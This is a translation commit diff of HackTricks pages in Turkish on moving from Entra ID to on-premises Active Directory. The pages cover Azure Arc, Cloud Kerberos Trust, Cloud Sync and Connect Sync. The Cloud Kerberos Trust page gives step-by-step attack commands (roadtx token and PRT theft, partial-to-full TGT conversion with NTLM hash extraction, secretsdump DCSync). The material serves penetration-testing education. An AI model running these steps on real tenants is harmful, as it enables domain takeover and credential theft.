Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

This commit is contained in:
Translator
2025-07-30 04:41:08 +00:00
parent 0da01cd9d7
commit 6eaf99b69c
13 changed files with 148 additions and 148 deletions
@@ -8,7 +8,7 @@ Bu bölüm, ele geçirilmiş bir Entra ID kiracısından yerel Active Directory
## Geçiş Teknikleri
- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Bir saldırgan, bir AD bilgisayar hesabını kontrol edebilir veya oluşturabilir ve Azure Arc GPO dağıtım paylaşımına erişebilirse, saklanan Service Principal gizli anahtarını çözebilir ve bunu ilişkili hizmet prensibi olarak Azure'a kimlik doğrulamak için kullanabilir, bağlı Azure ortamını tamamen ele geçirebilir.
- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Bir saldırgan, bir AD bilgisayar hesabını kontrol edebilir veya oluşturabilir ve Azure Arc GPO dağıtım paylaşımına erişebilirse, saklanan Service Principal sırrını çözebilir ve bunu ilişkili hizmet prensibi olarak Azure'a kimlik doğrulamak için kullanabilir, bağlı Azure ortamını tamamen ele geçirebilir.
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Cloud Kerberos Trust yapılandırıldığında Entra ID'den AD'ye nasıl geçiş yapılır. Entra ID (Azure AD) içinde bir Global Admin, Cloud Kerberos Trust ve senkronizasyon API'sini kötüye kullanarak yüksek ayrıcalıklı AD hesaplarını taklit edebilir, Kerberos biletlerini veya NTLM hash'lerini elde edebilir ve yerel Active Directory'yi tamamen ele geçirebilir—bu hesaplar asla bulut senkronizasyonu yapılmamış olsa bile—bulut ile AD ayrıcalık yükseltmesi arasında etkili bir köprü kurar.
@@ -16,7 +16,7 @@ Bu bölüm, ele geçirilmiş bir Entra ID kiracısından yerel Active Directory
- [**Connect Sync**](az-connect-sync.md): Buluttan yerel AD'ye ve tam tersine geçiş yapmak için Connect Sync'i nasıl kötüye kullanılır.
- [**Domain Services**](az-domain-services.md): Azure Domain Services Hizmeti nedir ve Entra ID'den oluşturduğu AD'ye nasıl geçiş yapılır.
- [**Domain Services**](az-domain-services.md): Azure Domain Services Servisi nedir ve Entra ID'den oluşturduğu AD'ye nasıl geçiş yapılır.
- [**Federation**](az-federation.md): Buluttan yerel AD'ye ve tam tersine geçiş yapmak için Federation'ı nasıl kötüye kullanılır.
@@ -54,9 +54,9 @@ $ebs
```
Alternatif olarak, [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) kullanabiliriz.
Bu noktada, şifrelenmişServicePrincipalSecret dosyasıyla aynı ağ paylaşımında saklanan ArcInfo.json dosyasından Azure'a bağlanmak için gereken kalan bilgileri toplayabiliriz. Bu dosya, TenantId, servicePrincipalClientId, ResourceGroup ve daha fazlası gibi ayrıntıları içerir. Bu bilgilerle, Azure CLI kullanarak ele geçirilmiş hizmet ilkesi olarak kimlik doğrulaması yapabiliriz.
Bu noktada, şifrelenmişServicePrincipalSecret dosyasıyla aynı ağ paylaşımında saklanan ArcInfo.json dosyasından Azure'a bağlanmak için gereken kalan bilgileri toplayabiliriz. Bu dosya, TenantId, servicePrincipalClientId, ResourceGroup gibi ayrıntıları içerir. Bu bilgilerle, Azure CLI kullanarak ele geçirilmiş hizmet ilkesi olarak kimlik doğrulaması yapabiliriz.
## Referanslar
## References
- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)
@@ -1,16 +1,16 @@
# Az - Cloud Kerberos Trust
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
**Bu gönderi, saldırı hakkında daha fazla bilgi için kontrol edilebilecek** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **adresinin bir özetidir. Bu teknik ayrıca** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)** adresinde de yorumlanmıştır.**
**Bu gönderi, saldırı hakkında daha fazla bilgi için kontrol edilebilecek** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **adresinin bir özetidir. Bu teknik ayrıca** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)** adresinde yorumlanmıştır.**
## Kerberos Trust İlişkisi Genel Görünümü
**Cloud Kerberos Trust (Entra ID -> AD)** -- Bu özellik (Windows Hello for Business'ın bir parçası) tek yönlü bir güven ilişkisi kurar; burada yerel AD **Entra ID'yi** AD için Kerberos biletleri vermesi için güvenmektedir. Bunu etkinleştirmek, AD'de bir **AzureADKerberos$** bilgisayar nesnesi (Salt Okuma Alan Denetleyicisi olarak görünür) ve bağlantılı bir **`krbtgt_AzureAD`** hesabı (ikincil KRBTGT) oluşturur. Entra ID, bu hesapların anahtarlarını tutar ve AD kullanıcıları için "kısmi" Kerberos TGT'leri verebilir. AD alan denetleyicileri bu biletleri kabul eder, ancak RODC benzeri kısıtlamalarla: varsayılan olarak, **yüksek ayrıcalıklı gruplar (Domain Admins, Enterprise Admins, vb.) *reddedilir*** ve sıradan kullanıcılara izin verilir. Bu, Entra ID'nin normal koşullar altında alan yöneticilerini güven ilişkisi aracılığıyla kimlik doğrulamasını engeller. Ancak, göreceğimiz gibi, yeterli Entra ID ayrıcalıklarına sahip bir saldırgan bu güven tasarımını kötüye kullanabilir.
**Cloud Kerberos Trust (Entra ID -> AD)** -- Bu özellik (Windows Hello for Business'ın bir parçası) on-prem AD'nin **Entra ID'yi** AD için Kerberos biletleri vermesi için tek yönlü bir güven ilişkisi kurar. Bunu etkinleştirmek, AD'de bir **AzureADKerberos$** bilgisayar nesnesi (Salt Okuma Alan Denetleyicisi olarak görünür) ve bağlantılı bir **`krbtgt_AzureAD`** hesabı (ikincil KRBTGT) oluşturur. Entra ID, bu hesapların anahtarlarını tutar ve AD kullanıcıları için "kısmi" Kerberos TGT'leri verebilir. AD alan denetleyicileri bu biletleri kabul eder, ancak RODC benzeri kısıtlamalarla: varsayılan olarak, **yüksek ayrıcalıklı gruplar (Domain Admins, Enterprise Admins, vb.) *reddedilir*** ve sıradan kullanıcılara izin verilir. Bu, Entra ID'nin normal koşullar altında alan yöneticilerini güven ilişkisi aracılığıyla kimlik doğrulamasını engeller. Ancak, göreceğimiz gibi, yeterli Entra ID ayrıcalıklarına sahip bir saldırgan bu güven tasarımını kötüye kullanabilir.
## Entra ID'den Yerel AD'ye Geçiş
## Entra ID'den On-Prem AD'ye Geçiş
**Senaryo:** Hedef organizasyon, parolasız kimlik doğrulama için **Cloud Kerberos Trust**'ı etkinleştirmiştir. Bir saldırgan, Entra ID (Azure AD) içinde **Global Administrator** ayrıcalıkları elde etmiştir ancak henüz yerel AD'yi kontrol etmemektedir. Saldırgan ayrıca, bir Alan Denetleyicisi'ne (VPN veya hibrit ağda bir Azure VM aracılığıyla) ağ erişimi ile bir ayak sağlamıştır. Bulut güvenini kullanarak, saldırgan Azure AD kontrolünü kullanarak AD'de **Domain Admin** seviyesinde bir ayak elde edebilir.
**Senaryo:** Hedef organizasyon, parolasız kimlik doğrulama için **Cloud Kerberos Trust**'ı etkinleştirmiştir. Bir saldırgan, Entra ID'de (Azure AD) **Global Administrator** ayrıcalıkları elde etmiştir ancak henüz on-prem AD'yi kontrol etmemektedir. Saldırgan ayrıca, bir Alan Denetleyicisi'ne (VPN veya hibrit ağda bir Azure VM aracılığıyla) ağ erişimi ile bir ayak sağlamıştır. Bulut güvenini kullanarak, saldırgan Azure AD kontrolünü kullanarak AD'de **Domain Admin** seviyesinde bir ayak elde edebilir.
**Ön Koşullar:**
@@ -18,13 +18,13 @@
- Saldırgan, Entra ID kiracısında **Global Admin (veya Hybrid Identity Admin)** haklarına sahiptir (bu roller, Azure AD kullanıcılarını değiştirmek için AD Connect **senkronizasyon API'sini** kullanabilir).
- Saldırganın kimlik doğrulaması yapabileceği en az bir **hibrit kullanıcı hesabı** (hem AD hem de AAD'de mevcut) vardır. Bu, kimlik bilgilerini bilerek veya sıfırlayarak veya ona bir parolasız yöntem (örneğin, Geçici Erişim Geçidi) atayarak bir Birincil Yenileme Jetonu (PRT) oluşturmakla elde edilebilir.
- Saldırganın kimlik doğrulama yapabileceği en az bir **hibrit kullanıcı hesabı** (hem AD hem de AAD'de mevcut) vardır. Bu, kimlik bilgilerini bilerek veya sıfırlayarak veya ona bir parolasız yöntem (örneğin, Geçici Erişim Geçidi) atayarak bir Birincil Yenileme Jetonu (PRT) oluşturmak için elde edilebilir.
- Varsayılan RODC "reddet" politikasında *olmayan* yüksek ayrıcalıklara sahip bir **yerel AD hedef hesabı**. Pratikte, harika bir hedef **AD Connect senkronizasyon hesabı**dır (genellikle **MSOL_*** olarak adlandırılır), bu hesap AD'de DCSync (çoğaltma) haklarına sahiptir ancak genellikle yerleşik yönetici gruplarının bir üyesi değildir. Bu hesap genellikle Entra ID'ye senkronize edilmez, bu da onun SID'sinin çatışma olmadan taklit edilmesini sağlar.
- Varsayılan RODC "reddet" politikasında *olmayan* yüksek ayrıcalıklara sahip bir **on-prem AD hedef hesabı**. Pratikte, harika bir hedef **AD Connect senkronizasyon hesabı**dır (genellikle **MSOL_*** olarak adlandırılır), bu hesap AD'de DCSync (çoğaltma) haklarına sahiptir ancak genellikle yerleşik yönetici gruplarının bir üyesi değildir. Bu hesap genellikle Entra ID'ye senkronize edilmez, bu da SID'sinin çatışma olmadan taklit edilmesini sağlar.
**Saldırı Adımları:**
1. **Azure AD senkronizasyon API Erişimi Elde Et:** Global Admin hesabını kullanarak, Azure AD **Provisioning (senkronizasyon) API'si** için bir erişim jetonu alın. Bu, **ROADtools** veya **AADInternals** gibi araçlarla yapılabilir. Örneğin, ROADtools (roadtx) ile:
1. **Azure AD senkronizasyon API Erişimi Elde Et:** Global Admin hesabını kullanarak, Azure AD **Provisioning (senkronizasyon) API**'si için bir erişim jetonu alın. Bu, **ROADtools** veya **AADInternals** gibi araçlarla yapılabilir. Örneğin, ROADtools (roadtx) ile:
```bash
# Using roadtx to get an Azure AD Graph token (no MFA)
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
@@ -44,32 +44,29 @@ python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
```bash
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
```
Bu, kısmi TGT ve oturum anahtarını içeren bir `.prt` dosyası oluşturur. Hesap yalnızca bulut parolasıysa, Azure AD yine de PRT yanıtında bir TGT_AD içerir.
Bu, kısmi TGT ve oturum anahtarını içeren bir `.prt` dosyası çıktısı verir. Hesap yalnızca bulut parolasıysa, Azure AD yine de PRT yanıtında bir TGT_AD içerir.
4. **Kısmi TGT'yi Tam TGT ile Değiştirme (AD üzerinde):** Kısmi TGT artık hedef hesap için **tam TGT** almak üzere yerel Alan Denetleyicisi'ne sunulabilir. Bunu, `krbtgt` hizmeti (alanın birincil TGT hizmeti) için bir TGS isteği gerçekleştirerek yapıyoruz -- temelde bileti tam PAC ile normal bir TGT'ye yükseltiyoruz. Bu değişimi otomatikleştirmek için araçlar mevcuttur. Örneğin, ROADtools Hybrid'in betiğini kullanarak:
4. **Kısmi TGT'yi Tam TGT ile Değiştirme (AD'de):** Kısmi TGT artık hedef hesap için **tam TGT** almak üzere yerel Alan Denetleyicisi'ne sunulabilir. Bunu, `krbtgt` hizmeti (alanın birincil TGT hizmeti) için bir TGS isteği gerçekleştirerek yapıyoruz -- temelde bileti tam bir PAC ile normal bir TGT'ye yükseltiyoruz. Bu değişimi otomatikleştirmek için araçlar mevcuttur. Örneğin, ROADtools Hybrid'in betiğini kullanarak:
```bash
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
```
Bu script (veya Impacket eşdeğerleri) Domain Controller ile iletişime geçecek ve hedef AD hesabı için geçerli bir TGT alacaktır, ayrıca özel Kerberos uzantısı kullanılıyorsa hesabın NTLM hash'ini de içerecektir. **`KERB-KEY-LIST-REQ`** uzantısı, DC'den hedef hesabın NTLM hash'ini şifreli yanıtta döndürmesini istemek için otomatik olarak dahil edilir. Sonuç, hedef hesap için bir kimlik bilgisi önbelleği (`full_tgt.ccache`) veya kurtarılan NTLM parola hash'idir.
Bu script (veya Impacket eşdeğerleri) Domain Controller ile iletişime geçecek ve hedef AD hesabı için geçerli bir TGT alacak, ayrıca özel Kerberos uzantısı kullanılıyorsa hesabın NTLM hash'ini de içerecektir. **`KERB-KEY-LIST-REQ`** uzantısı, DC'den hedef hesabın NTLM hash'ini şifreli yanıtta döndürmesini istemek için otomatik olarak dahil edilir. Sonuç, hedef hesap için bir kimlik bilgisi önbelleği (`full_tgt.ccache`) veya kurtarılan NTLM parola hash'idir.
5. **Hedefi Taklit Et ve Domain Admin Ol:** Artık saldırgan etkili bir şekilde **hedef AD hesabını kontrol ediyor**. Örneğin, hedef AD Connect **MSOL hesabı** ise, dizin üzerinde çoğaltma haklarına sahiptir. Saldırgan, o hesabın kimlik bilgilerini veya Kerberos TGT'sini kullanarak AD'den parola hash'lerini dökmek için bir **DCSync** saldırısı gerçekleştirebilir (domain KRBTGT hesabı dahil). Örneğin:
```bash
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
```
Bu, tüm AD kullanıcı parolası hash'lerini döker, saldırgana KRBTGT hash'ini verir (onların dilediği gibi alan Kerberos biletleri oluşturmasına izin verir) ve etkili bir şekilde **Domain Admin** ayrıcalıkları sağlar. Hedef hesap başka bir ayrıcalıklı kullanıcı olsaydı, saldırgan tam TGT'yi kullanarak o kullanıcı olarak herhangi bir alan kaynağına erişebilirdi.
Bu, tüm AD kullanıcı parolası hash'lerini döker, saldırgana KRBTGT hash'ini verir (onlara domain Kerberos biletlerini istedikleri gibi sahtelemelerine izin verir) ve etkili bir şekilde **Domain Admin** ayrıcalıkları sağlar. Hedef hesap başka bir ayrıcalıklı kullanıcı olsaydı, saldırgan tam TGT'yi kullanarak o kullanıcı olarak herhangi bir domain kaynağına erişebilirdi.
6. **Temizlik:** İsteğe bağlı olarak, saldırgan aynı API aracılığıyla değiştirilmiş Azure AD kullanıcısının orijinal `onPremisesSAMAccountName` ve SID'sini geri yükleyebilir veya oluşturulan geçici kullanıcıyı basitçe silebilir. Birçok durumda, bir sonraki Azure AD Connect senkronizasyon döngüsü, senkronize edilen niteliklerdeki yetkisiz değişiklikleri otomatik olarak geri alacaktır. (Ancak, bu noktada zarar verilmiştir -- saldırgan DA ayrıcalıklarına sahiptir.)
> [!WARNING]
> Bulut güvenini ve senkronizasyon mekanizmasını kötüye kullanarak, Azure AD'nin Global Yöneticisi, RODC politikasıyla açıkça korunmayan neredeyse *herhangi* bir AD hesabını taklit edebilir, o hesap hiç bulut senkronize edilmemiş olsa bile. Varsayılan bir yapılandırmada, bu **Azure AD ihlalinden yerel AD ihlaline tam bir güven köprüsü kurar**.
## References
- [Obtaining Domain Admin from Azure AD via Cloud Kerberos Trust](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,10 +1,10 @@
# Az - Cloud Sync
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Temel Bilgiler
**Cloud Sync**, Azure'ın **kullanıcıları AD'den Entra ID'ye senkronize etmenin** yeni yoludur.
**Cloud Sync**, Azure'ın **kullanıcıları AD'den Entra ID'ye senkronize etme** için yeni bir yoludur.
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync, kullanıcıların, grupların ve kişilerin Microsoft Entra ID'ye senkronizasyonu için hibrit kimlik hedeflerinizi karşılamak ve başarmak üzere tasarlanmış yeni bir Microsoft teklifidir. Bunu, Microsoft Entra Connect uygulaması yerine Microsoft Entra bulut sağlama aracını kullanarak gerçekleştirir. Ancak, Microsoft Entra Connect Sync ile birlikte de kullanılabilir.
@@ -12,43 +12,43 @@
Bunun çalışabilmesi için hem Entra ID'de hem de On-Premise dizininde bazı prensipler oluşturulur:
- Entra ID'de **`Directory Synchronization Accounts`** rolü ile **`On-Premises Directory Synchronization Service Account`** (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) kullanıcısı oluşturulur (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
- Entra ID'de `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) adlı kullanıcı, **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) rolü ile oluşturulur.
> [!WARNING]
> Bu rol, birçok ayrıcalıklı izne sahipti ve [**küresel yöneticiliğe kadar ayrıcalıkları artırmak için kullanılabiliyordu**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Ancak, Microsoft bu rolün tüm ayrıcalıklarını kaldırmaya ve sadece **`microsoft.directory/onPremisesSynchronization/standard/read`** adlı yeni bir rol atamaya karar verdi; bu rol, bir kullanıcının parolasını veya niteliklerini değiştirmek ya da bir SP'ye yeni bir kimlik bilgisi eklemek gibi herhangi bir ayrıcalıklı eylem gerçekleştirmeye izin vermez.
> Bu rol, birçok ayrıcalıklı izne sahipti ve [**küresel yöneticiliğe kadar ayrıcalıkları artırmak için kullanılabiliyordu**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Ancak, Microsoft bu rolün tüm ayrıcalıklarını kaldırmaya ve sadece **`microsoft.directory/onPremisesSynchronization/standard/read`** adlı yeni bir rol atamaya karar verdi; bu rol, bir kullanıcının şifresini veya niteliklerini değiştirmek ya da bir SP'ye yeni bir kimlik bilgisi eklemek gibi herhangi bir ayrıcalıklı eylem gerçekleştirmeye izin vermez.
- Entra ID'de ayrıca **`AAD DC Administrators`** grubu, üye veya sahip olmadan oluşturulur. Bu grup, [`Microsoft Entra Domain Services`](./az-domain-services.md) kullanılıyorsa faydalıdır.
- Entra ID'de ayrıca **`AAD DC Administrators`** adlı grup, üye veya sahip olmadan oluşturulur. Bu grup, [`Microsoft Entra Domain Services`](./az-domain-services.md) kullanılıyorsa faydalıdır.
- AD'de, ya **`provAgentgMSA`** hizmet hesabı, **`pGMSA_<id>$@domain.com`** gibi bir SamAccountName ile oluşturulur (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ya da [**bu izinlere ihtiyaç duyan**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account) özel bir hesap oluşturulur. Genellikle varsayılan olanı oluşturulur.
- AD'de, ya **`provAgentgMSA`** adlı Hizmet Hesabı, **`pGMSA_<id>$@domain.com`** gibi bir SamAcountName ile oluşturulur (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ya da [**bu izinlere ihtiyaç duyan**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account) özel bir hesap oluşturulur. Genellikle varsayılan olanı oluşturulur.
> [!WARNING]
> Diğer izinlerin yanı sıra **`provAgentgMSA`** hizmet hesabı DCSync izinlerine sahiptir; bu, **onu ele geçiren herkesin tüm dizini ele geçirmesine izin verir**. [DCSync hakkında daha fazla bilgi için bunu kontrol edin](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> Diğer izinlerin yanı sıra Hizmet Hesabı **`provAgentgMSA`** DCSync izinlerine sahiptir ve **bunu ele geçiren herkesin tüm dizini ele geçirmesine izin verir**. [DCSync hakkında daha fazla bilgi için bunu kontrol edin](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> [!NOTE]
> Varsayılan olarak, **`adminCount`** niteliği 1 olan bilinen ayrıcalıklı grupların kullanıcıları, güvenlik nedenleriyle Entra ID ile senkronize edilmez. Ancak, bu niteliğe sahip olmayan veya doğrudan yüksek ayrıcalıklarla atanan diğer kullanıcılar **senkronize edilebilir**.
> Varsayılan olarak, **`adminCount`** niteliği 1 olan bilinen ayrıcalıklı grupların kullanıcıları, güvenlik nedenleriyle Entra ID ile senkronize edilmez. Ancak, bu niteliğe sahip olmayan veya doğrudan yüksek ayrıcalıklar atanan diğer kullanıcılar **senkronize edilebilir**.
## Parola Senkronizasyonu
## Şifre Senkronizasyonu
Bu bölüm, aşağıdaki ile çok benzer:
Bu bölüm, aşağıdaki bölümle çok benzer:
{{#ref}}
az-connect-sync.md
{{#endref}}
- **Parola hash senkronizasyonu** etkinleştirilebilir, böylece kullanıcılar **AD'deki parolalarıyla Entra ID'ye giriş yapabilirler**. Ayrıca, AD'de bir parola değiştirildiğinde, bu Entra ID'de güncellenecektir.
- **Parola yazma geri** de etkinleştirilebilir; bu, kullanıcıların Entra ID'de parolalarını değiştirmelerine ve bununla birlikte on-premise alanındaki parolalarının otomatik olarak senkronize edilmesine olanak tanır. Ancak, [mevcut belgelere](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) göre, bunun için Connect Agent kullanmak gereklidir, bu nedenle daha fazla bilgi için [Az Connect Sync bölümüne](./az-connect-sync.md) göz atın.
- **Grupların yazma geri**: Bu özellik, Entra ID'deki grup üyeliklerinin on-premise AD'ye senkronize edilmesine olanak tanır. Bu, bir kullanıcı Entra ID'deki bir gruba eklendiğinde, aynı zamanda AD'deki karşılık gelen gruba da ekleneceği anlamına gelir.
- **Şifre hash senkronizasyonu** etkinleştirilebilir, böylece kullanıcılar **AD'deki şifrelerini kullanarak Entra ID'ye giriş yapabilirler**. Ayrıca, AD'de bir şifre değiştirildiğinde, bu Entra ID'de güncellenecektir.
- **Şifre yazma geri** de etkinleştirilebilir, bu da kullanıcıların Entra ID'de şifrelerini değiştirmelerine ve bunun otomatik olarak on-premise alanındaki şifrelerini senkronize etmelerine olanak tanır. Ancak, [mevcut belgelere](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) göre, bunun için Connect Agent kullanmak gereklidir, bu nedenle daha fazla bilgi için [Az Connect Sync bölümüne](./az-connect-sync.md) göz atın.
- **Grupların yazma geri**: Bu özellik, Entra ID'deki grup üyeliklerinin on-premise AD'ye geri senkronize edilmesini sağlar. Bu, bir kullanıcı Entra ID'deki bir gruba eklendiğinde, aynı zamanda AD'deki karşılık gelen gruba da ekleneceği anlamına gelir.
## Pivotlama
### AD --> Entra ID
- AD kullanıcıları AD'den Entra ID'ye senkronize ediliyorsa, AD'den Entra ID'ye pivotlama basittir; sadece **bir kullanıcının parolasını ele geçirin veya bir kullanıcının parolasını değiştirin ya da yeni bir kullanıcı oluşturun ve Entra ID dizinine senkronize edilene kadar bekleyin (genellikle sadece birkaç dakika)**.
- AD kullanıcıları AD'den Entra ID'ye senkronize ediliyorsa, AD'den Entra ID'ye pivotlama basittir; sadece **bir kullanıcının şifresini ele geçirin veya bir kullanıcının şifresini değiştirin ya da yeni bir kullanıcı oluşturun ve Entra ID dizinine senkronize edilene kadar bekleyin (genellikle sadece birkaç dakika)**.
Örneğin, şunları yapabilirsiniz:
- **`provAgentgMSA`** hesabını ele geçirin, bir DCSync saldırısı gerçekleştirin, bir kullanıcının parolasını kırın ve ardından bunu Entra ID'ye giriş yapmak için kullanın.
- **`provAgentgMSA`** hesabını ele geçirin, bir DCSync saldırısı gerçekleştirin, bir kullanıcının şifresini kırın ve ardından bunu Entra ID'ye giriş yapmak için kullanın.
- AD'de yeni bir kullanıcı oluşturun, Entra ID'ye senkronize edilene kadar bekleyin ve ardından bunu Entra ID'ye giriş yapmak için kullanın.
- AD'deki bir kullanıcının parolasını değiştirin, Entra ID'ye senkronize edilene kadar bekleyin ve ardından bunu Entra ID'ye giriş yapmak için kullanın.
- AD'deki bir kullanıcının şifresini değiştirin, Entra ID'ye senkronize edilene kadar bekleyin ve ardından bunu Entra ID'ye giriş yapmak için kullanın.
**`provAgentgMSA`** kimlik bilgilerini ele geçirmek için:
```powershell
@@ -81,7 +81,7 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
{{#endref}}
> [!NOTE]
> Azure veya EntraID rollerini senkronize edilmiş kullanıcılara, örneğin Cloud Sync yapılandırmalarında, niteliklerine dayalı olarak verme yolu yoktur. Ancak, senkronize edilmiş kullanıcılara otomatik olarak izin vermek için bazı **AD'den Entra ID gruplarına** izinler verilebilir, böylece bu gruplardaki senkronize edilmiş kullanıcılar da bu izinleri alır veya **dinamik gruplar kullanılabilir**, bu nedenle her zaman dinamik kuralları ve bunları kötüye kullanma potansiyel yollarını kontrol edin:
> Azure veya EntraID rollerini senkronize edilmiş kullanıcılara, örneğin Cloud Sync yapılandırmalarında, niteliklerine dayalı olarak verme yolu yoktur. Ancak, senkronize edilmiş kullanıcılara otomatik olarak izin vermek için bazı **AD'den Entra ID gruplarına** izinler verilebilir, böylece bu gruplardaki senkronize edilmiş kullanıcılar da bu izinleri alır veya **dinamik gruplar kullanılabilir**, bu nedenle her zaman dinamik kuralları ve bunları kötüye kullanmanın potansiyel yollarını kontrol edin:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -127,14 +127,14 @@ Lütfen ayrıntılı uyarılar ve hatalar için Hata Listesi penceresine bakın.
### Entra ID --> AD
- Eğer **Şifre Yazma** etkinleştirildiyse, Entra ID'deki bazı kullanıcıların şifrelerini değiştirebilir ve AD ağına erişiminiz varsa, bunlarla bağlanabilirsiniz. Daha fazla bilgi için [Az Connect Sync bölümüne](./az-connect-sync.md) bakın, çünkü şifre yazma bu ajan kullanılarak yapılandırılmıştır.
- Eğer **Şifre Yazma** etkinleştirildiyse, Entra ID'deki bazı kullanıcıların şifrelerini değiştirebilir ve AD ağına erişiminiz varsa, bunları kullanarak bağlanabilirsiniz. Daha fazla bilgi için [Az Connect Sync bölümünü](./az-connect-sync.md) kontrol edin, çünkü şifre yazma bu ajan kullanılarak yapılandırılmıştır.
- Bu noktada Cloud Sync ayrıca **"Microsoft Entra ID'den AD'ye"** izin veriyor, ancak çok fazla zaman geçtikten sonra EntraID kullanıcılarını AD'ye senkronize edemediğini ve yalnızca şifre hash'i ile senkronize edilen ve senkronize ettiğimiz alanın aynı alan ormanına ait olan bir alandan gelen EntraID kullanıcılarını senkronize edebildiğini buldum, [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) adresinde okuyabilirsiniz:
> - Bu gruplar yalnızca yerel senkronize edilmiş kullanıcıları ve/veya ek bulut oluşturulmuş güvenlik gruplarını içerebilir.
> - Senkronize edilen ve bu bulut oluşturulmuş güvenlik grubunun üyeleri olan yerel kullanıcı hesapları, aynı alan veya alanlar arası olabilir, ancak hepsi aynı ormandan olmalıdır.
Bu nedenle, bu hizmetin saldırı yüzeyi (ve faydası) büyük ölçüde azalır, çünkü bir saldırganın diğer alandaki bir kullanıcıyı tehlikeye atmak için senkronize edilen kullanıcıların geldiği ilk AD'yi tehlikeye atması gerekir (ve her ikisi de görünüşe göre aynı ormanda olmalıdır).
Bu nedenle, bu hizmetin saldırı yüzeyi (ve faydası) büyük ölçüde azalır, çünkü bir saldırganın diğer alandaki bir kullanıcıyı tehlikeye atmak için senkronize edilen kullanıcıların geldiği başlangıç AD'sini tehlikeye atması gerekir (ve her ikisi de görünüşe göre aynı ormanda olmalıdır).
### Enumeration
```bash
@@ -148,4 +148,4 @@ az rest \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
```
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,12 +1,12 @@
# Az - Connect Sync
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Temel Bilgiler
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect senkronizasyon hizmetleri (Microsoft Entra Connect Sync), Microsoft Entra Connect'in ana bileşenidir. Bu, yerel ortamınız ile Microsoft Entra ID arasında kimlik verilerini senkronize etmekle ilgili tüm işlemleri yönetir.
Bunu kullanmak için, AD ortamınızdaki bir sunucuya **`Microsoft Entra Connect Sync`** ajanını kurmanız gerekmektedir. Bu ajan, AD tarafındaki senkronizasyonu yönetecektir.
Bunu kullanmak için, AD ortamınızdaki bir sunucuya **`Microsoft Entra Connect Sync`** ajanını kurmanız gerekmektedir. Bu ajan, AD tarafındaki senkronizasyonu yönetmekle sorumlu olacaktır.
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
@@ -29,11 +29,11 @@ az-cloud-sync.md
Bu bileşen, kullanıcıların Entra ID'ye bağlanmak için AD parolalarını kullanabilmesi için **AD'den Entra ID'ye parolaları senkronize etmek** için de kullanılabilir. Bunun için, AD sunucusunda kurulu Microsoft Entra Connect Sync ajanında parola hash senkronizasyonuna izin vermek gerekmektedir.
